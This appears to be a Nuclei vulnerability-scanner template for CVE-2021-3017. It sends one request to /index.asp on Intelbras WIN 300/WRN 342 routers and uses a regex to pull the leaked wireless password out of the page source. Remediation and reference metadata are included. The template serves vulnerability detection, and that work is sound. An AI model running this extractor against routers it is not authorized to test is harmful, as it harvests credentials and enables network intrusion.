54 lines
1.8 KiB
YAML
54 lines
1.8 KiB
YAML
id: CVE-2021-3017
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info:
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name: Intelbras WIN 300/WRN 342 - Credentials Disclosure
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author: pikpikcu
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severity: high
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description: Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code.
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impact: |
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An attacker can gain unauthorized access to the router's administrative interface and potentially compromise the entire network.
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remediation: |
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Update the router firmware to the latest version, which includes a fix for the vulnerability.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-3017
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- https://pastebin.com/cTYTf0Yn
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- https://github.com/bigblackhat/oFx
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- https://github.com/openx-org/BLEN
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- https://github.com/Miraitowa70/POC-Notes
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-3017
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epss-score: 0.01527
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epss-percentile: 0.85724
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cpe: cpe:2.3:o:intelbras:win_300_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: intelbras
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product: win_300_firmware
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tags: cve2021,cve,exposure,router,intelbras
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http:
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- method: GET
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path:
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- "{{BaseURL}}/index.asp"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'def_wirelesspassword ='
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- '<title>Roteador Wireless</title>'
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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regex:
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- 'def_wirelesspassword = "([A-Za-z0-9=]+)";'
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part: body
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# digest: 490a0046304402207fc33ebf05959c47146c7b7f43d6d431969c7fdf02cb52a293420fde243cad5c02204c24f3d90a93df59a79dc474cbf1295b0d1c9b4d055d75c80d2d2cdbaff91d42:922c64590222798bb761d5b6d8e72950 |